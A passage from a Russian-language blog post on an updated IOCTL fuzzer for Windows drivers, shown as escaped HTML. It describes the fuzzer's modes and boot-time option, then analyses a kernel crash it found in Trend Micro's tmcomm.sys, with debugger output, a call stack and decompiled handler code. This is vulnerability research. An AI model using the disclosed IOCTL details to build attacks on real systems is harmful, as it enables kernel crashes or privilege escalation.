green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; ...&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;36&lt;/span&gt; &lt;span style="color: black;"&gt;                }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;37&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;38&lt;/span&gt; &lt;span style="color: black;"&gt;                &lt;/span&gt;&lt;span style="color: blue;"&gt;break&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;39&lt;/span&gt; &lt;span style="color: black;"&gt;            }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;40&lt;/span&gt; &lt;span style="color: black;"&gt;        }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;41&lt;/span&gt; &lt;span style="color: black;"&gt;    }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;42&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;43&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; ...&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;44&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;45&lt;/span&gt; &lt;span style="color: black;"&gt;}&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;46&lt;/span&gt;&lt;/pre&gt;Как видно, уязвимому к переполнению буфера вызову функции strcpy предшествует проверка значения поля Operation, структуры входящих данных IOCTL запроса, на равенство некоторой константе. Старая версия фаззера, с большой долей вероятности, не обнаружила бы подобную уязвимость по причине того, что при генерации "мусорных" IOCTL запросов она использовала примитивное заполнение входного буфера случайными байтами.&lt;br /&gt;&lt;br /&gt;Данная недоработка была исправлена, и текущая версия фаззера поддерживает следующие режимы генерации некорректных данных:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Random&lt;/strong&gt; - применявшееся ранее заполнение буфера случайными байтами.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Dwords&lt;/strong&gt; - поочерёдное копирование в оригинальный входной буфер двойного слова таким образом, что бы его смещение начиная с первой и заканчивая последней итерацией отправки мусорных данных варьировалось в диапазоне от нуля до BuffSize - sizeof(DWORD). В качестве значения этого двойного слова поочерёдно используются константы&amp;nbsp;0x00000000,&amp;nbsp;0x00001000,&amp;nbsp;0xFFFF0000 и&amp;nbsp;0xFFFFFFFF.&lt;/li&gt;&lt;/ul&gt;Нужный режим генерации некорректных данных устанавливается при помощи настройки "fuzzing_type" в конфигурационном файле программы.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Запуск фаззинга/мониторинга на начальных этапах загрузки&lt;/h3&gt;Для более полного покрытия IOCTL запросов, обрабатываемых тестируемым драйвером, бывает необходимо выполнить так же фаззинг и тех из них, которые могут генерироваться приложением или системным сервисом единожды, например во время инициализации. Поскольку подобная инициализация может происходить ещё до запуска пользовательского окружения операционной системы, в новой версии фаззера была добавлена возможность запуска процесса фаззинга/мониторинга на ранних этапах загрузки.&lt;br /&gt;&lt;br /&gt;Для активации IOCTL Fuzzer при следующей перезагрузке системы необходимо указать в командной строке к его приложению параметр "--boot".&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Пример использования фаззера при поиске реальных уязвимостей&lt;/h3&gt;В завершении данной заметки приведем пример ещё одной уязвимости, которая была найдена с помощью IOCTL Fuzzer. В качестве тестируемого приложения будет выступать популярный на западном рынке антивирусных решений продукт - &lt;a href="http://ru.trendmicro.com/ru/products/personal/titanium-maximum-security/"&gt;Trend Micro Titanium Maximum Security&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Вскоре после запуска фаззера происходит аварийное завершение работы системы, в выводе удалённого отладчика режима ядра отображается следующее сообщение, c информацией о последнем обработанном фаззером IOCTL запросе:&lt;br /&gt;&lt;pre&gt;'C:\Program Files\Trend Micro\AMSP\coreServiceShell.exe' (PID: 792)&lt;br /&gt;'\Device\TmComm' (0x81d6a030) [\SystemRoot\system32\DRIVERS\tmcomm.sys]&lt;br /&gt;IOCTL Code: 0x9000402b,  Method: METHOD_NEITHER&lt;br /&gt;    InBuff: 0x018fc080,  InSize: 0x0000004c&lt;br /&gt;   OutBuff: 0x018fc080, OutSize: 0x0000004c&lt;/pre&gt;Как видно, в данном фрагменте фигурируют имена драйвера и процесса Trend Micro. Стек вызовов на момент краха системы выглядит следующим образом:&lt;br /&gt;&lt;pre&gt;ChildEBP RetAddr  Args to Child&lt;br /&gt;b2862410 804f7b9d 00000003 ffff0000 00000000 nt!RtlpBreakWithStatusInstruction&lt;br /&gt;b286245c 804f878a 00000003 00000000 c07fff80 nt!KiBugCheckDebugBreak+0x19&lt;br /&gt;b286283c 804f8cb5 00000050 ffff0000 00000001 nt!KeBugCheck2+0x574&lt;br /&gt;b286285c 8051cc4f 00000050 ffff0000 00000001 nt!KeBugCheckEx+0x1b&lt;br /&gt;b28628bc 8054051c 00000001 ffff0000 00000000 nt!MmAccessFault+0x8e7&lt;br /&gt;b28628bc b217f927 00000001 ffff0000 00000000 nt!KiTrap0E+0xcc&lt;br /&gt;WARNING: Stack unwind information not available. Following frames may be wrong.&lt;br /&gt;b2862974 b2176acb 00000000 018fc060 00000001 tmcomm!CSystemThread::TearDown+0x46b1&lt;br /&gt;b286298c b2176fa0 018fc080 018fc080 00000000 tmcomm!NormalizeFullNtPathToDosName+0x3aa7&lt;br /&gt;b28629a8 b2176823 b2862a04 009f1edd c0000001 tmcomm!NormalizeFullNtPathToDosName+0x3f7c&lt;br /&gt;b28629e8 b217592f 9000402b b2862a04 82057bd0 tmcomm!NormalizeFullNtPathToDosName+0x37ff&lt;br /&gt;b2862a1c 804ee119 81d6a030 81d6a034 806d22d0 tmcomm!NormalizeFullNtPathToDosName+0x290b&lt;br /&gt;b2862a2c 80574d5e 8228e6b0 82057bd0 8228e640 nt!IopfCallDriver+0x31&lt;br /&gt;b2862a40 80575bff 81d6a030 8228e640 82057bd0 nt!IopSynchronousServiceTail+0x70&lt;br /&gt;b2862ae8 8056e46c 00000d00 00000000 00000000 nt!IopXxxControlFile+0x5e7&lt;br /&gt;b2862b1c b1eae4ca 00000d00 00000000 00000000 nt!NtDeviceIoControlFile+0x2a&lt;br /&gt;b2862ba8 b1eaea90 00000001 00000d00 00000000 IOCTLfuzzer+0x44ca&lt;br /&gt;b2862c9c b1eaee17 00000001 81ef9a48 00000d00 IOCTLfuzzer+0x4a90&lt;br /&gt;b2862d34 8053d638 00000d00 00001554 00000000 IOCTLfuzzer+0x4e17&lt;br /&gt;b2862d34 7c90e4f4 00000d00 00001554 00000000 nt!KiFastCallEntry+0xf8&lt;br /&gt;018fbf70 7c90d26c 7c8016c2 00000d00 00001554 ntdll!KiFastSystemCallRet&lt;/pre&gt;Приступим к реверсингу уязвимого драйвера tmcomm.sys, начав с процедуры обработки IRP запросов к устройствам данного драйвера:&lt;br /&gt;&lt;pre&gt;&lt;span style="color: teal;"&gt; 1&lt;/span&gt; &lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; __stdcall sub_1E8BE(&lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; DriverObject, &lt;/span&gt;&lt;span style="color: blue;"&gt;char&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;Irp)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 2&lt;/span&gt; &lt;span style="color: black;"&gt;{&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 3&lt;/span&gt; &lt;span style="color: black;"&gt;  StackLocation &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;((_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)Irp &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;24&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 4&lt;/span&gt; &lt;span style="color: black;"&gt;  IoStatus &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; Irp &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;28&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 5&lt;/span&gt; &lt;span style="color: black;"&gt;  &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;((_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)Irp &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;7&lt;/span&gt;&lt;span style="color: black;"&gt;) &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 6&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 7&lt;/span&gt; &lt;span style="color: black;"&gt;  MajorFunction &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_BYTE &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)StackLocation;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 8&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 9&lt;/span&gt; &lt;span style="color: black;"&gt;  &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (MajorFunction &lt;/span&gt;&lt;span style="color: black;"&gt;==&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;2&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;10&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;goto&lt;/span&gt;&lt;span style="color: black;"&gt; LABEL_12;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;11&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;12&lt;/span&gt; &lt;span style="color: black;"&gt;  &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (MajorFunction &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0xDu&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;13&lt;/span&gt; &lt;span style="color: black;"&gt;  {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;14&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; обработка IRP запросов типа IRP_MJ_DEVICE_CONTROL&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;15&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (MajorFunction &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;lt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0xFu&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;16&lt;/span&gt; &lt;span style="color: black;"&gt;    {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;17&lt;/span&gt; &lt;span style="color: black;"&gt;      &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; извлечение параметров IOCTL запроса из структуры IO_STACK_LOCATION&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;18&lt;/span&gt; &lt;span style="color: black;"&gt;      Type3InputBuffer &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(StackLocation &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0x10&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;19&lt;/span&gt; &lt;span style="color: black;"&gt;      UserBuffer &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;((_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)v6 &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;15&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;20&lt;/span&gt; &lt;span style="color: black;"&gt;      InputBufferLength &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(StackLocation &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;8&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;21&lt;/span&gt; &lt;span style="color: black;"&gt;      OutputBufferLength &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(StackLocation &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;4&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;22&lt;/span&gt; &lt;span style="color: black;"&gt;      v27 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; IoStatus;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;23&lt;/span&gt; &lt;span style="color: black;"&gt;      v24 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; OutputBufferLength;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;24&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;25&lt;/span&gt; &lt;span style="color: black;"&gt;      &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; дальнейшая обработка IOCTL запроса&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;26&lt;/span&gt; &lt;span style="color: black;"&gt;      v5 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; sub_1F7A6(&lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(StackLocation &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0xC&lt;/span&gt;&lt;span style="color: black;"&gt;), (&lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;InputBufferLength);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;27&lt;/span&gt; &lt;span style="color: black;"&gt;      &lt;/span&gt;&lt;span style="color: blue;"&gt;goto&lt;/span&gt;&lt;span style="color: black;"&gt; LABEL_9;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;28&lt;/span&gt; &lt;span style="color: black;"&gt;    }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;29&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;30&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; ...&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;31&lt;/span&gt; &lt;span style="color: black;"&gt;  }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;32&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;33&lt;/span&gt; &lt;span style="color: black;"&gt;  &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; ...&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;34&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;35&lt;/span&gt; &lt;span style="color: black;"&gt;  &lt;/span&gt;&lt;span style="color: blue;"&gt;return&lt;/span&gt;&lt;span style="color: black;"&gt; v5;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;36&lt;/span&gt; &lt;span style="color: black;"&gt;}&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;37&lt;/span&gt;&lt;/pre&gt;Как видно по приведенному псевдокоду, обработка IOCTL запросов осуществляется в процедуре sub_1F7A6():&lt;br /&gt;&lt;pre&gt;&lt;span style="color: teal;"&gt; 1&lt;/span&gt; &lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; __stdcall sub_1F7A6(&lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; ControlCode, &lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; a2)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 2&lt;/span&gt; &lt;span style="color: black;"&gt;{&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 3&lt;/span&gt; &lt;span style="color: black;"&gt;  v7 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0xC00000BBu&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 4&lt;/span&gt; &lt;span style="color: black;"&gt;  v6 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 5&lt;/span&gt; &lt;span style="color: black;"&gt;  v2 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; ExGetPreviousMode();&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 6&lt;/span&gt; &lt;span style="color: black;"&gt;  v3 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 7&lt;/span&gt; &lt;span style="color: black;"&gt;  &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (off_34CB4)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 8&lt;/span&gt; &lt;span style="color: black;"&gt;  {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 9&lt;/span&gt; &lt;span style="color: black;"&gt;    v4 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;10&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;11&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; Поиск процедуры дальнейшей обработки IOCTL запроса по значению&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;12&lt;/span&gt; &lt;span style="color: green;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; ControlCode. Для 0x9000402b (значение, которое было выявленно при фаззинге)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;13&lt;/span&gt; &lt;span style="color: green;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; будет вызвана процедура sub_1FF38()&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;14&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;while&lt;/span&gt;&lt;span style="color: black;"&gt; (&lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)((&lt;/span&gt;&lt;span style="color: blue;"&gt;char&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;dword_34CB0 &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; v4) &lt;/span&gt;&lt;span style="color: black;"&gt;!=&lt;/span&gt;&lt;span style="color: black;"&gt; ControlCode)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;15&lt;/span&gt; &lt;span style="color: black;"&gt;    {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;16&lt;/span&gt; &lt;span style="color: black;"&gt;      &lt;/span&gt;&lt;span style="color: black;"&gt;++&lt;/span&gt;&lt;span style="color: black;"&gt;v3;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;17&lt;/span&gt; &lt;span style="color: black;"&gt;      v4 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;8&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt; v3;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;18&lt;/span&gt; &lt;span style="color: black;"&gt;      &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (&lt;/span&gt;&lt;span style="color: black;"&gt;!*&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;off_34CB4 &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;2&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt; v3))&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;19&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: blue;"&gt;goto&lt;/span&gt;&lt;span style="color: black;"&gt; LABEL_7;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;20&lt;/span&gt; &lt;span style="color: black;"&gt;    }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;21&lt;/span&gt; &lt;span style="color: black;"&gt;    v6 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;off_34CB4 &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;2&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt; v3);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;22&lt;/span&gt; &lt;span style="color: black;"&gt;  }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;23&lt;/span&gt; &lt;span style="color: black;"&gt;LABEL_7:&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;24&lt;/span&gt; &lt;span style="color: black;"&gt;  &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (v2 &lt;/span&gt;&lt;span style="color: black;"&gt;==&lt;/span&gt;&lt;span style="color: black;"&gt; UserMode)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;25&lt;/span&gt; &lt;span style="color: black;"&gt;  {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;26&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; проверка входного и выходного буферов&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;27&lt;/span&gt; &lt;span style="color: black;"&gt;    ProbeForRead(&lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;const&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: blue;"&gt;void&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;**&lt;/span&gt;&lt;span style="color: black;"&gt;)(a2 &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;8&lt;/span&gt;&lt;span style="color: black;"&gt;), &lt;/span&gt;&lt;span style="color: 